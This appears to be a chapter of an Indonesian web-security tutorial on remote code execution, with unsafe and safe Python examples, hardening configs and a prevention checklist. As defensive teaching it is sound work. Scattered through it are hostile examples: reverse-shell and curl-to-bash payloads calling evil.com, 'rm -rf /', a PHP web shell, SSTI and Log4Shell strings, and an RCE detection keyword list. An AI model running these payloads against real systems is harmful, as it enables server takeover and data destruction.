Remote Code Execution #

Remote Code Execution (RCE) adalah kategori kerentanan paling serius dalam keamanan aplikasi web. Ketika RCE terjadi, attacker tidak lagi terbatas pada data yang bisa mereka baca atau aksi yang bisa mereka picu — mereka memiliki kemampuan untuk menjalankan kode arbitrer di server. Ini berarti akses penuh ke filesystem, kemampuan membaca dan mengubah database langsung, instalasi backdoor, pembuatan user baru di sistem operasi, dan dalam banyak kasus, pivoting ke sistem internal lain yang tidak bisa diakses dari internet.

Perbedaan antara SQL Injection dan RCE adalah perbedaan antara kehilangan data dan kehilangan seluruh server. SQL Injection bisa mengekspos database; RCE bisa mengekspos server, jaringan internal, dan semua sistem yang bisa diakses dari server tersebut.

Yang membuat RCE berbahaya bukan hanya dampaknya yang ekstrem, tapi juga variasi cara ia bisa terjadi: command injection, eval injection, insecure deserialization, malicious file upload, server-side template injection, vulnerability di dependency — semua bisa berujung ke eksekusi kode yang dikontrol attacker di server.

Cara Kerja RCE: Dari Input ke Eksekusi #

Semua jalur menuju RCE memiliki satu kesamaan: input yang dikontrol attacker entah bagaimana dieksekusi sebagai kode atau perintah oleh sistem. Jalur yang berbeda, mekanisme yang berbeda, tapi prinsip yang sama.

graph LR
    A[Input Attacker] --> B{Vektor RCE}
    B --> C[Command Injection\ncmdline dari user input]
    B --> D[Eval Injection\neval kode dinamis]
    B --> E[Deserialisasi\nobject berbahaya]
    B --> F[File Upload\nexecutable file]
    B --> G[Template Injection\ntemplate engine]
    B --> H[Dependency CVE\nlibrary vulnerable]

    C --> I[Shell Execution]
    D --> I
    E --> I
    F --> J[File Execution]
    G --> I
    H --> I
    J --> I
    I --> K[RCE — Kontrol Penuh Server]

Command Injection #

Command injection terjadi ketika aplikasi meneruskan input user ke shell command tanpa sanitasi. Ini adalah salah satu bentuk RCE yang paling langsung dan paling umum.

import subprocess
import os

# ANTI-PATTERN 1: shell=True dengan input user — sangat berbahaya
def ping_host_unsafe(hostname):
    # Jika hostname = "google.com; rm -rf /"
    # Command menjadi: ping google.com; rm -rf /
    result = subprocess.run(
        f"ping -c 4 {hostname}",
        shell=True,  # ← ini yang berbahaya
        capture_output=True
    )
    return result.stdout.decode()

# ANTI-PATTERN 2: os.system dengan input user
def process_image_unsafe(filename):
    # Jika filename = "image.jpg; curl http://evil.com/backdoor.sh | bash"
    os.system(f"convert {filename} output.png")

# ANTI-PATTERN 3: backtick/exec dalam bahasa lain
# PHP: exec("ping " . $_GET['host']);
# Ruby: system("ping #{params[:host]}")
# Node.js: exec(`ping ${req.query.host}`)

# BENAR: gunakan list argument, tidak pakai shell=True
def ping_host_safe(hostname):
    # Validasi hostname terlebih dahulu
    import re
    if not re.match(r'^[a-zA-Z0-9.-]+$', hostname):
        raise ValueError("Hostname tidak valid")

    # Gunakan list — setiap argumen adalah satu unit terpisah
    # Shell tidak diinvoke, tidak ada parsing metacharacter
    result = subprocess.run(
        ["ping", "-c", "4", hostname],  # list, bukan string
        capture_output=True,
        timeout=10,
        # shell=False (default) — tidak menggunakan shell
    )
    return result.stdout.decode()

# BENAR untuk image processing: gunakan library, bukan shell command
from PIL import Image

def process_image_safe(file_path):
    # Gunakan library Python, bukan shell command
    with Image.open(file_path) as img:
        img = img.convert('RGB')
        img.save('output.jpg', 'JPEG')
Metacharacter shell yang digunakan untuk injection:

  ;   → jalankan command berikutnya
  &&  → jalankan jika command sebelumnya berhasil
  ||  → jalankan jika command sebelumnya gagal
  |   → pipe output ke command berikutnya
  `   → command substitution (backtick)
  $() → command substitution
  >   → redirect output (overwrite file)
  >>  → redirect output (append file)
  <   → redirect input
  &   → run in background

Contoh payload:
  hostname = "google.com; cat /etc/passwd"
  hostname = "google.com && whoami"
  hostname = "google.com | nc evil.com 4444 -e /bin/bash"
  hostname = "$(curl http://evil.com/backdoor.sh | bash)"

Eval Injection #

eval() dan fungsi serupa mengeksekusi string sebagai kode. Ketika input user mencapai eval, attacker bisa menjalankan kode arbitrer.

# ANTI-PATTERN: eval dengan input user
# Kasus ini sering muncul dalam fitur "kalkulasi" atau "scripting"
def calculate_unsafe(expression):
    # Jika expression = "__import__('os').system('rm -rf /')"
    result = eval(expression)  # eksekusi kode Python arbitrer!
    return result

# Node.js
# eval(req.body.code)  → RCE
# new Function(req.body.code)()  → RCE
# setTimeout(req.body.code)  → RCE

# PHP
# eval('$result = ' . $_POST['formula'] . ';');  → RCE

# Template string yang tidak aman
def render_template_unsafe(template, user_data):
    # Jika template = "{user.__class__.__mro__[1].__subclasses__()}"
    # Python string format bisa mengakses atribut internal!
    return template.format(**user_data)
    # Attacker bisa traversal ke built-in classes dan eksekusi kode

# BENAR: jangan pernah eval input user
# Untuk kalkulasi matematika: gunakan library yang aman
import ast
import operator

SAFE_OPERATORS = {
    ast.Add: operator.add,
    ast.Sub: operator.sub,
    ast.Mult: operator.mul,
    ast.Div: operator.truediv,
    ast.Pow: operator.pow,
    ast.USub: operator.neg,
}

def safe_eval_math(expression):
    """Evaluasi ekspresi matematika tanpa eval()."""
    try:
        tree = ast.parse(expression, mode='eval')
    except SyntaxError:
        raise ValueError("Ekspresi tidak valid")

    def _eval(node):
        if isinstance(node, ast.Constant):
            if not isinstance(node.value, (int, float)):
                raise ValueError("Hanya angka yang diizinkan")
            return node.value
        elif isinstance(node, ast.BinOp):
            op_func = SAFE_OPERATORS.get(type(node.op))
            if not op_func:
                raise ValueError(f"Operator tidak diizinkan")
            return op_func(_eval(node.left), _eval(node.right))
        elif isinstance(node, ast.UnaryOp):
            op_func = SAFE_OPERATORS.get(type(node.op))
            if not op_func:
                raise ValueError("Operator tidak diizinkan")
            return op_func(_eval(node.operand))
        else:
            raise ValueError("Konstruksi tidak diizinkan")

    return _eval(tree.body)

# safe_eval_math("2 + 3 * 4") → 14
# safe_eval_math("__import__('os')") → ValueError

Insecure Deserialization #

Deserialisasi adalah proses mengubah data serial (bytes, JSON, XML) kembali menjadi objek. Ketika library deserialisasi memproses data dari user tanpa validasi, attacker bisa memanipulasi data serialized untuk mengeksekusi kode saat deserialisasi.

import pickle
import json

# ANTI-PATTERN: deserialize data dari user dengan pickle
# pickle adalah format yang sangat berbahaya dari user input
@app.route('/process', methods=['POST'])
def process_data():
    data = request.data
    # Jika data adalah pickled object yang berisi __reduce__ berbahaya:
    # class Exploit(object):
    #     def __reduce__(self):
    #         return (os.system, ('rm -rf /',))
    obj = pickle.loads(data)  # EKSEKUSI KODE saat deserialisasi!
    return process(obj)

# PyYAML yang tidak aman (yaml.load tanpa Loader)
import yaml
def parse_config_unsafe(yaml_string):
    # yaml.load memproses Python objects secara default
    # !!python/object/apply:os.system ['rm -rf /']
    config = yaml.load(yaml_string)  # RCE jika yaml_string dari user!

# Java, PHP, Ruby juga punya vulnerability serupa di native serialization

# BENAR: gunakan format yang aman dari input user
def parse_config_safe(json_string):
    # JSON tidak bisa mengeksekusi kode saat parsing
    # Tapi tetap validasi schema setelah parsing
    try:
        data = json.loads(json_string)
    except json.JSONDecodeError:
        raise ValueError("Format JSON tidak valid")

    # Validasi schema
    validate_config_schema(data)
    return data

# Jika harus menggunakan YAML: gunakan SafeLoader
def parse_yaml_safe(yaml_string):
    # SafeLoader tidak memproses Python objects
    data = yaml.safe_load(yaml_string)
    return data

# Jika harus menggunakan pickle (internal saja, bukan dari user):
# Sign data sebelum simpan, verifikasi signature sebelum load
import hmac
import hashlib

SECRET_KEY = os.environ['SERIALIZATION_SECRET']

def safe_serialize(obj) -> bytes:
    data = pickle.dumps(obj)
    signature = hmac.new(
        SECRET_KEY.encode(), data, hashlib.sha256
    ).hexdigest()
    return signature.encode() + b':' + data

def safe_deserialize(signed_data: bytes):
    signature, _, data = signed_data.partition(b':')
    expected_sig = hmac.new(
        SECRET_KEY.encode(), data, hashlib.sha256
    ).hexdigest().encode()
    if not hmac.compare_digest(signature, expected_sig):
        raise ValueError("Data telah dimanipulasi")
    return pickle.loads(data)

File Upload ke RCE #

File upload yang tidak aman adalah jalur klasik menuju RCE. Attacker mengupload file yang terlihat seperti gambar tapi sebenarnya berisi kode yang bisa dieksekusi.

# ANTI-PATTERN: menyimpan file upload di web root dan langsung serve
@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    # Simpan langsung di folder yang bisa diakses publik
    file.save(f'/var/www/html/uploads/{file.filename}')
    return jsonify({'url': f'/uploads/{file.filename}'})

# Attacker upload file bernama "shell.php" dengan konten:
# <?php system($_GET['cmd']); ?>
# Lalu akses: /uploads/shell.php?cmd=whoami
# → Server menjalankan command sebagai web user

# Python WSGI analog:
# Jika aplikasi Python serve file dan meng-exec konten:
# import importlib
# importlib.import_module('uploads.evil_module')  → RCE

# BENAR: file upload yang aman
import magic
import secrets
from pathlib import Path

UPLOAD_DIR = Path('/var/uploads')  # DI LUAR web root!
ALLOWED_MIME_TYPES = {'image/jpeg', 'image/png', 'image/gif', 'image/webp'}

@app.route('/upload', methods=['POST'])
@login_required
def upload_file_safe():
    file = request.files.get('file')
    if not file:
        return jsonify({'error': 'No file provided'}), 400

    # 1. Validasi MIME type dari konten file
    file_bytes = file.read(2048)
    file.seek(0)
    detected_mime = magic.from_buffer(file_bytes, mime=True)

    if detected_mime not in ALLOWED_MIME_TYPES:
        return jsonify({'error': f'Tipe file tidak diizinkan: {detected_mime}'}), 400

    # 2. Generate nama file baru yang aman — jangan gunakan nama dari user
    extension = {
        'image/jpeg': '.jpg',
        'image/png': '.png',
        'image/gif': '.gif',
        'image/webp': '.webp',
    }[detected_mime]
    safe_filename = secrets.token_hex(16) + extension

    # 3. Simpan di luar web root
    save_path = UPLOAD_DIR / safe_filename
    file.save(str(save_path))

    # 4. Simpan metadata di database (referensi ke file)
    db_file = UploadedFile.create(
        user_id=current_user.id,
        filename=safe_filename,
        original_name=file.filename[:255],
        mime_type=detected_mime,
        size=save_path.stat().st_size
    )

    return jsonify({'file_id': db_file.id}), 201

# 5. Serve file melalui endpoint yang memvalidasi akses
@app.route('/files/<int:file_id>')
@login_required
def serve_file(file_id):
    db_file = UploadedFile.query.get_or_404(file_id)

    # Validasi akses
    if db_file.user_id != current_user.id:
        abort(403)

    # Serve file langsung (bukan redirect ke path fisik)
    return send_from_directory(
        UPLOAD_DIR,
        db_file.filename,
        mimetype=db_file.mime_type,
        as_attachment=False
    )
Kenapa menyimpan di luar web root dan serve via endpoint:

  Web root (/var/www/html/uploads/):
  → File bisa diakses langsung via URL
  → Web server mungkin mengeksekusi file berdasarkan extension
  → PHP file → Apache mengeksekusi → RCE
  → .htaccess override → mengubah behavior

  Luar web root (/var/uploads/):
  → Tidak bisa diakses langsung via URL
  → Web server tidak tahu file ini ada
  → Hanya aplikasi yang bisa serve file
  → Aplikasi memvalidasi akses sebelum serve
  → Aplikasi menset Content-Type dari database, bukan dari extension

Server-Side Template Injection (SSTI) #

Template injection terjadi ketika input user dimasukkan langsung ke template engine yang kemudian mengeksekusinya. Berbeda dari XSS yang mengeksekusi di browser, SSTI mengeksekusi di server.

from jinja2 import Environment, select_autoescape

# ANTI-PATTERN: template dari user input
@app.route('/render')
def render_template_unsafe():
    template_str = request.args.get('template', '')

    # Jika template = "{{7*7}}" → server menghitung dan mengembalikan "49"
    # Ini konfirmasi SSTI vulnerable!

    # Lebih berbahaya:
    # {{''.__class__.__mro__[1].__subclasses__()}}
    # → daftar semua subclass Python yang tersedia
    # {{config.__class__.__init__.__globals__['os'].system('id')}}
    # → eksekusi shell command!

    env = Environment(autoescape=select_autoescape())
    template = env.from_string(template_str)  # BERBAHAYA
    return template.render()

# BENAR: template dari file, bukan dari user
@app.route('/render')
def render_template_safe():
    # Template ada di filesystem yang dikontrol developer
    # User hanya bisa pilih dari template yang sudah ada
    template_name = request.args.get('template', 'default')

    # Whitelist template yang boleh digunakan
    ALLOWED_TEMPLATES = {'welcome', 'confirmation', 'invoice'}
    if template_name not in ALLOWED_TEMPLATES:
        template_name = 'default'

    # Render template yang sudah ada
    return render_template(f'emails/{template_name}.html',
                          user=current_user)

# Jika user perlu kustomisasi konten (bukan template):
# Berikan placeholder yang spesifik, bukan template engine penuh
@app.route('/customize-email')
def customize_email():
    template_name = 'confirmation'

    # User hanya bisa isi placeholder yang spesifik
    user_message = request.form.get('message', '')

    # Escape user message sebelum dimasukkan ke template
    from markupsafe import escape
    safe_message = escape(user_message)

    return render_template(
        f'emails/{template_name}.html',
        user_message=safe_message  # escaped string, bukan template
    )
Payload SSTI yang umum untuk deteksi:

  Jinja2:     {{7*7}} → 49 (konfirmasi vulnerable)
              {{config}} → konfigurasi aplikasi
              {{''.__class__.__mro__[1].__subclasses__()}} → subclasses

  Twig:       {{7*7}} → 49
              {{_self.env.registerUndefinedFilterCallback("exec")}}
              {{_self.env.getFilter("id")}}

  FreeMarker: ${7*7} → 49
              <#assign ex="freemarker.template.utility.Execute"?new()>
              ${ex("id")}

Dependency Vulnerability #

Library pihak ketiga yang mengandung kerentanan bisa menjadi vektor RCE tanpa ada satu baris kode yang ditulis secara tidak aman.

Contoh nyata dependency RCE:

  Log4Shell (CVE-2021-44228):
  Library logging Java Log4j2 yang dipakai jutaan aplikasi
  String "${jndi:ldap://attacker.com/exploit}" di log
  → Library fetch URL eksternal → download dan eksekusi Java class
  → RCE di semua aplikasi yang menggunakan Log4j2 < 2.15.0
  Dampak: ribuan server enterprise dikompromikan dalam hari

  Spring4Shell (CVE-2022-22965):
  Spring Framework dengan JDK 9+
  Request tertentu memungkinkan modifikasi ClassLoader
  → Inject JSP webshell ke server
  → RCE tanpa autentikasi

  Deserialisasi di commons-collections (CVE-2015-6420):
  Apache Commons Collections library
  Banyak framework Java menggunakan ini (JBoss, WebLogic, Jenkins)
  Gadget chain yang memanfaatkan deserialisasi
  → RCE tanpa autentikasi
# Mitigasi dependency RCE: dependency scanning di CI/CD
# GitHub Actions untuk npm

name: Security Scan
on: [push, pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # Node.js
      - name: NPM Audit
        run: npm audit --audit-level=high
        # Gagalkan CI jika ada vulnerability high/critical

      # Python
      - name: Safety Check
        run: |
          pip install safety
          safety check --full-report -r requirements.txt

      # Java
      - name: OWASP Dependency Check
        uses: dependency-check/Dependency-Check_Action@main
        with:
          project: 'myapp'
          path: '.'
          format: 'HTML'
          args: --failOnCVSS 7

      # Go
      - name: GoVulnCheck
        run: |
          go install golang.org/x/vuln/cmd/govulncheck@latest
          govulncheck ./...
# Konfigurasi otomatis update dependency (GitHub Dependabot)
# .github/dependabot.yml

# version: 2
# updates:
#   - package-ecosystem: "pip"
#     directory: "/"
#     schedule:
#       interval: "weekly"
#     open-pull-requests-limit: 10
#
#   - package-ecosystem: "npm"
#     directory: "/"
#     schedule:
#       interval: "daily"  # lebih sering untuk frontend dependency

Defense in Depth: Mitigasi Berlapis #

Tidak ada satu mitigasi yang cukup. Defense in depth memastikan bahwa jika satu lapisan gagal, ada lapisan lain yang membatasi dampak.

Lapisan perlindungan terhadap RCE:

  Lapisan 1 — Input validation (mencegah RCE terjadi):
  → Validasi ketat semua input
  → Whitelist approach untuk command dan template
  → Jangan pernah eval input user

  Lapisan 2 — Least privilege (membatasi jika RCE terjadi):
  → Aplikasi berjalan sebagai user non-root dengan privilege minimal
  → Filesystem: aplikasi hanya bisa baca/tulis di direktori tertentu
  → Network: aplikasi tidak bisa membuat koneksi keluar yang tidak perlu
  → Proses: tidak bisa fork atau spawn proses baru

  Lapisan 3 — Sandboxing/Containerization:
  → Docker container dengan capabilities yang dibatasi
  → seccomp profile untuk membatasi syscall
  → AppArmor atau SELinux untuk MAC (Mandatory Access Control)

  Lapisan 4 — Network segmentation:
  → Aplikasi tidak bisa langsung akses database production dari internet
  → Internal service hanya accessible dari internal network
  → Egress filtering: aplikasi tidak bisa curl ke server attacker

  Lapisan 5 — Monitoring dan detection:
  → Deteksi eksekusi proses yang tidak biasa
  → Alert jika ada koneksi keluar yang tidak expected
  → File integrity monitoring
# Dockerfile yang menerapkan least privilege
FROM python:3.12-slim

# Buat user non-root
RUN groupadd -r appgroup && useradd -r -g appgroup appuser

# Install dependency sebagai root
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

# Copy kode aplikasi
COPY . .

# Set ownership ke appuser
RUN chown -R appuser:appgroup /app

# Jalankan sebagai non-root user
USER appuser

# Hanya expose port yang diperlukan
EXPOSE 8000

# Tidak ada shell — lebih sulit bagi attacker untuk menjalankan command
ENTRYPOINT ["gunicorn", "--bind", "0.0.0.0:8000", "app:create_app()"]
# seccomp profile untuk membatasi syscall yang bisa digunakan container
# Mencegah beberapa teknik post-exploitation

# docker-compose.yml
# services:
#   app:
#     security_opt:
#       - no-new-privileges:true  # Mencegah privilege escalation
#     cap_drop:
#       - ALL  # Hapus semua Linux capabilities
#     cap_add:
#       - NET_BIND_SERVICE  # Hanya tambahkan yang diperlukan
#     read_only: true  # Filesystem read-only
#     tmpfs:
#       - /tmp  # Hanya /tmp yang writable

Mendeteksi Upaya RCE #

Monitoring aktif bisa mendeteksi serangan RCE sebelum attacker berhasil atau segera setelah berhasil.

# Pattern yang menunjukkan upaya RCE dalam log

RCE_INDICATORS = [
    # Command injection patterns
    ';', '&&', '||', '|', '`', '$(',
    'bash', 'sh', 'cmd.exe', 'powershell',
    '/bin/', '/etc/passwd', '/etc/shadow',
    'whoami', 'id', 'uname', 'cat /etc',

    # SSTI patterns
    '{{', '}}', '${', '#{',
    '__class__', '__mro__', '__subclasses__',

    # Path traversal (bisa berujung RCE)
    '../', '..\\', '%2e%2e',

    # Encoded null bytes
    '%00', '\x00',
]

def detect_rce_attempt(request_data: str) -> bool:
    """Deteksi pattern yang mengindikasikan upaya RCE."""
    lower_data = request_data.lower()
    for indicator in RCE_INDICATORS:
        if indicator.lower() in lower_data:
            return True
    return False

@app.before_request
def monitor_requests():
    # Monitor query parameters
    for param, value in request.args.items():
        if detect_rce_attempt(value):
            security_logger.warning(
                "Potential RCE attempt detected",
                extra={
                    'ip': request.remote_addr,
                    'path': request.path,
                    'param': param,
                    'value': value[:200],  # limit panjang log
                    'user_id': getattr(current_user, 'id', None),
                    'user_agent': request.user_agent.string,
                }
            )
            # Opsional: tambahkan ke watchlist untuk monitoring lebih ketat

Anti-Pattern yang Harus Dihindari #

# ✗ Anti-pattern 1: subprocess dengan shell=True dan user input
subprocess.run(f"convert {user_filename} output.jpg", shell=True)
# ✓ Solusi: list arguments + validasi input + gunakan library

# ✗ Anti-pattern 2: eval/exec dengan user input
eval(request.json.get('formula'))
exec(request.form.get('code'))
# ✓ Solusi: never eval user input — gunakan safe evaluator jika perlu kalkulasi

# ✗ Anti-pattern 3: pickle.loads dari user input
data = pickle.loads(request.data)
# ✓ Solusi: gunakan JSON/YAML SafeLoader dari user, sign pickle untuk internal

# ✗ Anti-pattern 4: file upload di web root tanpa validasi MIME
file.save(f'/var/www/html/uploads/{filename}')
# ✓ Solusi: simpan di luar web root, validasi MIME dari konten, generate nama baru

# ✗ Anti-pattern 5: template engine dari user input
template = jinja2_env.from_string(request.args.get('template'))
# ✓ Solusi: template dari file system, user hanya pilih dari whitelist

# ✗ Anti-pattern 6: dependency tidak pernah di-audit
# package.json dengan "*" untuk semua version
# requirements.txt tanpa pin version
# ✓ Solusi: pin version, scan CVE di CI, enable Dependabot

# ✗ Anti-pattern 7: aplikasi berjalan sebagai root
# USER root di Dockerfile (default jika tidak diset)
# ✓ Solusi: buat dedicated user, jalankan sebagai non-root

# ✗ Anti-pattern 8: file yang diupload bisa diakses langsung via URL
# GET /uploads/shell.php → web server eksekusi PHP
# ✓ Solusi: serve file melalui aplikasi dengan validasi, bukan langsung via web server

Checklist Remote Code Execution Prevention #

COMMAND INJECTION:
  □ Tidak ada subprocess.run/os.system dengan shell=True dan user input
  □ Semua external command menggunakan list argument
  □ Input yang digunakan dalam command divalidasi dengan whitelist ketat
  □ Gunakan library Python/language-native daripada shell command

EVAL INJECTION:
  □ Tidak ada eval(), exec(), atau new Function() dengan user input
  □ Template engine tidak menerima template dari user input
  □ Format string yang bisa mengakses objek internal sudah dihindari
  □ Kalkulasi matematika menggunakan safe parser, bukan eval

DESERIALISASI:
  □ Tidak ada pickle.loads(), unserialize(), atau ObjectInputStream dari user
  □ yaml.safe_load() digunakan (bukan yaml.load() tanpa Loader)
  □ Deserialisasi internal menggunakan signed data (HMAC)
  □ JSON digunakan untuk data exchange dengan user input

FILE UPLOAD:
  □ MIME type dideteksi dari konten file, bukan extension/Content-Type header
  □ File disimpan di luar web root
  □ Nama file di-generate ulang (bukan dari user)
  □ File serve melalui endpoint yang validasi akses
  □ Web server tidak mengeksekusi file dari direktori upload

TEMPLATE INJECTION:
  □ Template dari filesystem, bukan dari user input
  □ User hanya bisa pilih dari whitelist template yang ada
  □ Konten variabel di-escape sebelum dirender
  □ Template engine tidak di-expose ke user sebagai "fitur"

DEPENDENCY:
  □ Dependency scanning berjalan di CI/CD (npm audit, safety, dll)
  □ Dependabot atau renovate aktif untuk update otomatis
  □ CVE yang ditemukan diprioritaskan berdasarkan severity
  □ Dependency di-pin ke versi spesifik (bukan latest/*)

LEAST PRIVILEGE & ISOLATION:
  □ Aplikasi berjalan sebagai user non-root
  □ Container menggunakan read-only filesystem jika memungkinkan
  □ Linux capabilities di-drop yang tidak diperlukan
  □ Network egress dibatasi untuk traffic yang memang diperlukan
  □ seccomp/AppArmor profile dikonfigurasi

MONITORING:
  □ Pattern command injection dan SSTI di-monitor dalam request log
  □ Proses baru yang tidak expected di-alert
  □ File integrity monitoring aktif untuk direktori kritis
  □ Outbound connection yang tidak biasa di-alert

Ringkasan #

  • RCE adalah kerentanan paling serius — bukan hanya data yang bocor, tapi seluruh server dikontrol attacker. Dari sana bisa pivot ke sistem internal lain.
  • Command injection dicegah dengan tidak menggunakan shell — gunakan list argument di subprocess, jangan shell=True dengan input user. Gunakan library bahasa pemrograman daripada memanggil external command.
  • Eval user input adalah mustahil diaman — tidak ada cara membuat eval aman dengan input dari user yang tidak dipercaya. Gunakan safe parser untuk kalkulasi matematika, template dari file untuk rendering.
  • Pickle, unserialize, dan ObjectInputStream tidak aman dari user input — format serialisasi native bisa mengeksekusi kode saat deserialisasi. Gunakan JSON untuk data dari user, sign data internal jika harus menggunakan format binary.
  • File upload ke RCE membutuhkan dua kondisi — file bisa diupload dan bisa dieksekusi. Putuskan salah satunya: simpan di luar web root (tidak bisa dieksekusi langsung) atau validasi MIME type ketat dan serve via aplikasi.
  • Template injection terjadi ketika user mengontrol template — bukan hanya konten variabel. Template harus berasal dari filesystem yang dikontrol developer, bukan dari input user.
  • Dependency CVE bisa terjadi tanpa kode yang salah — satu library yang populer yang mengandung kerentanan bisa mengekspos ribuan aplikasi. Dependency scanning di CI adalah wajib.
  • Least privilege membatasi dampak jika RCE terjadi — aplikasi yang berjalan sebagai non-root dengan filesystem read-only dan network egress filtering membuat post-exploitation jauh lebih sulit.
  • Defense in depth adalah kunci — validasi input, least privilege, containerization, network segmentation, dan monitoring harus bekerja bersama. Satu lapisan yang gagal tidak langsung berarti bencana.
  • Monitoring aktif bisa mendeteksi RCE lebih awal — pattern seperti {{, $(, /etc/passwd dalam request parameter adalah indikator serangan yang harus di-alert.

← Sebelumnya: Input Validation   Berikutnya: DDoS →

About | Author | Content Scope | Editorial Policy | Privacy Policy | Disclaimer | Contact